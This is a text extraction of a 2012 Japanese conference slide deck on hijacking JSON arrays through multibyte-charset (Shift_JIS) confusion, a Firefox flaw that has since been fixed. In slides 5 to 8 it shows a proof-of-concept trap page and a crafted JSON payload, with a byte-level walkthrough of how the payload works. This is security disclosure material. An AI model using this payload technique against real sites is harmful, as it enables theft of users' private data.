12
JS Array Hijacking with MBCS encodings MBCS 文文文文文文文文文 JS 文文文文文文文 Apr 4 2012 Yosuke HASEGAWA

JS Array Hijacking with MBCS encodings JS Array Hijacking with MBCS encodings MBCS文字コードを使ったJS配列の乗っ取り Apr 4 2012 Yosuke HASEGAWA

Embed Size (px)

Citation preview

Page 1: JS Array Hijacking with MBCS encodings JS Array Hijacking with MBCS encodings MBCS文字コードを使ったJS配列の乗っ取り Apr 4 2012 Yosuke HASEGAWA

JS Array Hijackingwith MBCS encodings

MBCS 文字コードを使った JS 配列の乗っ取り

Apr 4 2012Yosuke HASEGAWA

Page 2: JS Array Hijacking with MBCS encodings JS Array Hijacking with MBCS encodings MBCS文字コードを使ったJS配列の乗っ取り Apr 4 2012 Yosuke HASEGAWA

NetAgent http://www.netagent.co.jp/Shibuya.XSS

JS Array Hijacking with MBCS

JSON 配列を盗み見する方法文字コードの応用技Mozilla Firefox 8 / MFSA2011-47

で修正済み

Page 3: JS Array Hijacking with MBCS encodings JS Array Hijacking with MBCS encodings MBCS文字コードを使ったJS配列の乗っ取り Apr 4 2012 Yosuke HASEGAWA

NetAgent http://www.netagent.co.jp/Shibuya.XSS

JS Array Hijacking with MBCS

ターゲット機密情報を含む JS 配列攻撃者が配列の一部をコントロールできる例えば Web メールの新着通知など

配列内の他のデータも盗み見できる

[ "[email protected]","[email protected]" ]

JSON

Page 4: JS Array Hijacking with MBCS encodings JS Array Hijacking with MBCS encodings MBCS文字コードを使ったJS配列の乗っ取り Apr 4 2012 Yosuke HASEGAWA

NetAgent http://www.netagent.co.jp/Shibuya.XSS

JS Array Hijacking with MBCS

XHR.send(…)

[ "[email protected]", "..." ]

JSON

JSON.parse(txt)

ユーザ

Web mail

Page 5: JS Array Hijacking with MBCS encodings JS Array Hijacking with MBCS encodings MBCS文字コードを使ったJS配列の乗っ取り Apr 4 2012 Yosuke HASEGAWA

NetAgent http://www.netagent.co.jp/Shibuya.XSS

JS Array Hijacking with MBCS<script

src=“json”>

<script src=“json”>

[ "...0x82", "..."]

JSON

HTML攻撃者

ユーザ

Web mail

JSON

From: "...0x82"

Page 6: JS Array Hijacking with MBCS encodings JS Array Hijacking with MBCS encodings MBCS文字コードを使ったJS配列の乗っ取り Apr 4 2012 Yosuke HASEGAWA

NetAgent http://www.netagent.co.jp/Shibuya.XSS

JS Array Hijacking with MBCS

Content-Type: application/json

[ " あ ", ",alert(/", "alice", "bob", "/.source)]//" ]

攻撃対象の JSON (UTF-8)

<script src="http://example.jp/target.json" charset="shift_jis"></script>

攻撃者の用意した罠ページ

Page 7: JS Array Hijacking with MBCS encodings JS Array Hijacking with MBCS encodings MBCS文字コードを使ったJS配列の乗っ取り Apr 4 2012 Yosuke HASEGAWA

NetAgent http://www.netagent.co.jp/Shibuya.XSS

Content-Type: application/json

[ " あ ", ",alert(/", "alice", "bob", "/.source)]//" ]

JS Array Hijacking with MBCS

攻撃対象の JSON (UTF-8)

あ" "

22 22 2C 22 61 6C

, " a l

65 72 74

e r t

E3 81 82

縺" , " a l e r t?

28

(

(

UTF-8

Shift_JIS

[ " 縺 <?>, ",alert(/", "alice", "bob", "/.source)]//" ]

Page 8: JS Array Hijacking with MBCS encodings JS Array Hijacking with MBCS encodings MBCS文字コードを使ったJS配列の乗っ取り Apr 4 2012 Yosuke HASEGAWA

NetAgent http://www.netagent.co.jp/Shibuya.XSS

Content-Type: application/json

[ " あ ", ",alert(/", "alice", "bob", "/.source)]//" ]

JS Array Hijacking with MBCS

攻撃対象の JSON (UTF-8)

あ" "

22 22 2C 22 61 6C

, " a l

65 72 74

e r t

E3 81 82

縺" , " a l e r t?

28

(

(

UTF-8

Shift_JIS

[ " 縺 <?>",",alert(/", "alice", "bob", "/.source)]//" ]

修正された挙動 (IE と同じ )

"

Page 9: JS Array Hijacking with MBCS encodings JS Array Hijacking with MBCS encodings MBCS文字コードを使ったJS配列の乗っ取り Apr 4 2012 Yosuke HASEGAWA

NetAgent http://www.netagent.co.jp/Shibuya.XSS

JS Array Hijacking with MBCS

まとめそもそも JSON のレスポンスに

charset つけてないのがイケてない。とはいえ RFC4627 には

JSON text SHALL be encoded in Unicode. The default encoding is UTF-8.

攻撃可能なサイトは限定的

Page 10: JS Array Hijacking with MBCS encodings JS Array Hijacking with MBCS encodings MBCS文字コードを使ったJS配列の乗っ取り Apr 4 2012 Yosuke HASEGAWA

NetAgent http://www.netagent.co.jp/Shibuya.XSS

JS Array Hijacking with MBCS

MFSA 2011-47: Potential XSS against sites using Shift-JIShttp://www.mozilla.org/security/announce/2011/mfsa2011-47.html

690225 – Universal XSS likely with MultiByte charset (e.g. japanese sites) https://bugzilla.mozilla.org/show_bug.cgi?id=690225

もとのタイトルは "JSON hijacking with MultiByte charset" だったのに。

だいぶ盛りすぎ!

Page 11: JS Array Hijacking with MBCS encodings JS Array Hijacking with MBCS encodings MBCS文字コードを使ったJS配列の乗っ取り Apr 4 2012 Yosuke HASEGAWA

NetAgent http://www.netagent.co.jp/Shibuya.XSS

質問

[email protected]@netagent.co.jp

@hasegawayosuke

http://utf-8.jp/

Page 12: JS Array Hijacking with MBCS encodings JS Array Hijacking with MBCS encodings MBCS文字コードを使ったJS配列の乗っ取り Apr 4 2012 Yosuke HASEGAWA